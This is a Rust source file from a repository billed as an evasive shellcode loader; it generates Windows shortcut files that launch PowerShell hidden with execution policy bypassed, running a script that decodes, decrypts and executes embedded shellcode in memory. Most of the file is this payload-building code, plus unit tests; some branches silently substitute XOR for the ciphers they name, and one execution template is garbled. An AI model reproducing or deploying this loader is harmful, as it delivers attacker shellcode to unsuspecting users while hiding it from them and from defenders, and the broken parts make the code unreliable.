myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

lnk_generator.rs (9377B)

      1 use crate::cli::{EncryptionKind, Technique};
      2 use lnk::ShellLink;
      3 use std::fs;
      4 use std::io;
      5 use std::path::Path;
      6 
      7 pub fn generate_lnk_file(
      8     encrypted_shellcode: &[u8],
      9     output_path: &Path,
     10     encryption: &EncryptionKind,
     11     technique: &Technique,
     12     key: &str,
     13     _process: &str,
     14 ) -> io::Result<()> {
     15     let powershell_payload =
     16         generate_powershell_payload(encrypted_shellcode, encryption, technique, key);
     17 
     18     let temp_dir = std::env::temp_dir();
     19     let payload_file = temp_dir.join(format!("payload_{}.ps1", uuid::Uuid::new_v4()));
     20 
     21     fs::write(&payload_file, powershell_payload.as_bytes())?;
     22 
     23     // Use default() for cross-platform compatibility (doesn't require target file to exist)
     24     let mut shell_link = ShellLink::default();
     25 
     26     // Set target to PowerShell
     27     shell_link.set_relative_path(Some(format!(".\\{}", "powershell.exe")));
     28     shell_link.set_working_dir(Some(
     29         r"C:\Windows\System32\WindowsPowerShell\v1.0".to_string(),
     30     ));
     31 
     32     let arguments = format!(
     33         r#"-WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -File "{}""#,
     34         payload_file.display()
     35     );
     36 
     37     shell_link.set_arguments(Some(arguments));
     38     shell_link.set_icon_location(Some(r"C:\Windows\System32\shell32.dll".into()));
     39 
     40     // Set appropriate flags for the link
     41     let header = shell_link.header_mut();
     42     let current_flags = *header.link_flags();
     43     header.set_link_flags(
     44         current_flags
     45             | lnk::LinkFlags::HAS_ARGUMENTS
     46             | lnk::LinkFlags::HAS_RELATIVE_PATH
     47             | lnk::LinkFlags::HAS_WORKING_DIR
     48             | lnk::LinkFlags::HAS_ICON_LOCATION
     49             | lnk::LinkFlags::IS_UNICODE,
     50     );
     51 
     52     shell_link
     53         .save(output_path)
     54         .map_err(|e| io::Error::other(format!("Failed to save LNK file: {}", e)))?;
     55 
     56     Ok(())
     57 }
     58 
     59 fn generate_powershell_payload(
     60     encrypted_shellcode: &[u8],
     61     encryption: &EncryptionKind,
     62     technique: &Technique,
     63     key: &str,
     64 ) -> String {
     65     let base64_shellcode = base64_encode(encrypted_shellcode);
     66     let decryption_code = generate_decryption_code(encryption, key);
     67     let execution_code = generate_execution_code(technique);
     68 
     69     format!(
     70         r#"
     71 $ErrorActionPreference = "SilentlyContinue"
     72 $encData = [System.Convert]::FromBase64String("{}")
     73 {}
     74 $shellcode = $decryptedData
     75 {}
     76 "#,
     77         base64_shellcode, decryption_code, execution_code
     78     )
     79 }
     80 
     81 fn base64_encode(data: &[u8]) -> String {
     82     use base64::Engine;
     83     base64::engine::general_purpose::STANDARD.encode(data)
     84 }
     85 
     86 fn generate_decryption_code(encryption: &EncryptionKind, key: &str) -> String {
     87     match encryption {
     88         EncryptionKind::XOR => {
     89             format!(
     90                 r#"
     91 $key = [System.Text.Encoding]::UTF8.GetBytes("{}")
     92 $decryptedData = New-Object byte[] $encData.Length
     93 for ($i = 0; $i -lt $encData.Length; $i++) {{
     94     $decryptedData[$i] = $encData[$i] -bxor $key[$i % $key.Length]
     95 }}
     96 "#,
     97                 key
     98             )
     99         }
    100         EncryptionKind::AES | EncryptionKind::AES256 => {
    101             let key_size = if matches!(encryption, EncryptionKind::AES) {
    102                 128
    103             } else {
    104                 256
    105             };
    106             format!(
    107                 r#"
    108 $keyBytes = [System.Security.Cryptography.SHA256]::Create().ComputeHash([System.Text.Encoding]::UTF8.GetBytes("{}"))
    109 $iv = $encData[0..15]
    110 $ciphertext = $encData[16..($encData.Length - 1)]
    111 $aes = [System.Security.Cryptography.Aes]::Create()
    112 $aes.KeySize = {}
    113 $aes.Key = $keyBytes[0..(({}/8) - 1)]
    114 $aes.IV = $iv
    115 $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
    116 $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    117 $decryptor = $aes.CreateDecryptor()
    118 $decryptedData = $decryptor.TransformFinalBlock($ciphertext, 0, $ciphertext.Length)
    119 $aes.Dispose()
    120 "#,
    121                 key, key_size, key_size
    122             )
    123         }
    124         EncryptionKind::Chacha20 => {
    125             format!(
    126                 r#"
    127 # ChaCha20 decryption requires external library or native implementation
    128 # For simplicity, using XOR as fallback
    129 $key = [System.Text.Encoding]::UTF8.GetBytes("{}")
    130 $decryptedData = New-Object byte[] $encData.Length
    131 for ($i = 0; $i -lt $encData.Length; $i++) {{
    132     $decryptedData[$i] = $encData[$i] -bxor $key[$i % $key.Length]
    133 }}
    134 "#,
    135                 key
    136             )
    137         }
    138         EncryptionKind::Blowfish | EncryptionKind::Twofish | EncryptionKind::Camellia => {
    139             let enc_name = format!("{:?}", encryption);
    140             format!(
    141                 r#"
    142 # {0} decryption requires external library
    143 # For simplicity, using XOR as fallback
    144 $key = [System.Text.Encoding]::UTF8.GetBytes("{1}")
    145 $decryptedData = New-Object byte[] $encData.Length
    146 for ($i = 0; $i -lt $encData.Length; $i++) {{
    147     $decryptedData[$i] = $encData[$i] -bxor $key[$i % $key.Length]
    148 }}
    149 "#,
    150                 enc_name, key
    151             )
    152         }
    153     }
    154 }
    155 
    156 fn generate_execution_code(technique: &Technique) -> String {
    157     match technique {
    158         Technique::CreateFiber
    159         | Technique::Syscall
    160         | Technique::Etwp
    161         | Technique::SetTimer
    162         | Technique::EnumCalendar
    163         | Technique::EnumWindows
    164         | Technique::EnumSystemLocales
    165         | Technique::ImageGetDigestStream
    166         | Technique::ModuleStomping
    167         | Technique::FairyLaw => r#"
    168 $addr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    169     [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length),
    170     [Type]::GetType("System.Void")
    171 )
    172 [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $addr, $shellcode.Length)
    173 $invokeMethod = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    174     $addr,
    175     [Type]::GetType("System.Action")
    176 )
    177 $invokeMethod.Invoke()
    178 "#
    179         .to_string(),
    180         Technique::CRT
    181         | Technique::CRTx
    182         | Technique::ProcessHollowing
    183         | Technique::CreateThread
    184         | Technique::NtCreateThreadEx
    185         | Technique::QueueUserAPC
    186         | Technique::ThreadHijacking
    187         | Technique::EarlyBird => r#"
    188 # Process injection techniques not fully supported in LNK format
    189 # Using local execution as fallback
    190 $addr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length)
    191 [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $addr, $shellcode.Length)
    192 $fnPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    193     $addr,
    194     [Type]::GetType("System.Action")
    195 )
    196 $fnPtr.Invoke()
    197 "#
    198         .to_string(),
    199     }
    200 }
    201 
    202 #[cfg(test)]
    203 mod tests {
    204     use super::*;
    205 
    206     #[test]
    207     fn test_generate_powershell_payload() {
    208         let shellcode = vec![0x90, 0x90, 0xc3];
    209         let payload = generate_powershell_payload(
    210             &shellcode,
    211             &EncryptionKind::XOR,
    212             &Technique::CreateFiber,
    213             "test_key",
    214         );
    215 
    216         assert!(payload.contains("FromBase64String"));
    217         assert!(payload.contains("test_key"));
    218         assert!(payload.contains("$decryptedData"));
    219     }
    220 
    221     #[test]
    222     fn test_base64_encode() {
    223         let data = vec![0x48, 0x65, 0x6c, 0x6c, 0x6f];
    224         let encoded = base64_encode(&data);
    225         assert_eq!(encoded, "SGVsbG8=");
    226     }
    227 
    228     #[test]
    229     fn test_generate_decryption_code_xor() {
    230         let code = generate_decryption_code(&EncryptionKind::XOR, "mykey");
    231         assert!(code.contains("mykey"));
    232         assert!(code.contains("-bxor"));
    233         assert!(code.contains("$decryptedData"));
    234     }
    235 
    236     #[test]
    237     fn test_generate_decryption_code_aes() {
    238         let code = generate_decryption_code(&EncryptionKind::AES, "mykey");
    239         assert!(code.contains("mykey"));
    240         assert!(code.contains("SHA256"));
    241         assert!(code.contains("Aes"));
    242         assert!(code.contains("KeySize = 128"));
    243     }
    244 
    245     #[test]
    246     fn test_generate_decryption_code_aes256() {
    247         let code = generate_decryption_code(&EncryptionKind::AES256, "mykey");
    248         assert!(code.contains("KeySize = 256"));
    249     }
    250 
    251     #[test]
    252     fn test_generate_execution_code_local() {
    253         let code = generate_execution_code(&Technique::CreateFiber);
    254         assert!(code.contains("AllocHGlobal"));
    255         assert!(code.contains("Marshal"));
    256         assert!(code.contains("Invoke"));
    257     }
    258 
    259     #[test]
    260     fn test_generate_execution_code_injection() {
    261         let code = generate_execution_code(&Technique::CRT);
    262         assert!(code.contains("AllocHGlobal"));
    263         assert!(code.contains("fallback"));
    264     }
    265 
    266     #[test]
    267     #[cfg(target_os = "windows")]
    268     fn test_generate_lnk_file() {
    269         let shellcode = vec![0x90, 0x90, 0xc3];
    270         let temp_dir = std::env::temp_dir();
    271         let output = temp_dir.join("test_output.lnk");
    272 
    273         let result = generate_lnk_file(
    274             &shellcode,
    275             &output,
    276             &EncryptionKind::XOR,
    277             &Technique::CreateFiber,
    278             "test_key",
    279             "notepad.exe",
    280         );
    281 
    282         if let Err(e) = &result {
    283             eprintln!("Error generating LNK file: {}", e);
    284         }
    285         assert!(result.is_ok(), "Failed to generate LNK file: {:?}", result);
    286         assert!(output.exists());
    287 
    288         std::fs::remove_file(&output).ok();
    289     }
    290 
    291     #[test]
    292     #[cfg(not(target_os = "windows"))]
    293     fn test_generate_lnk_file_skip_non_windows() {
    294         // Skipped on non-Windows platforms since PowerShell doesn't exist
    295         // This is a placeholder to avoid confusion
    296     }
    297 }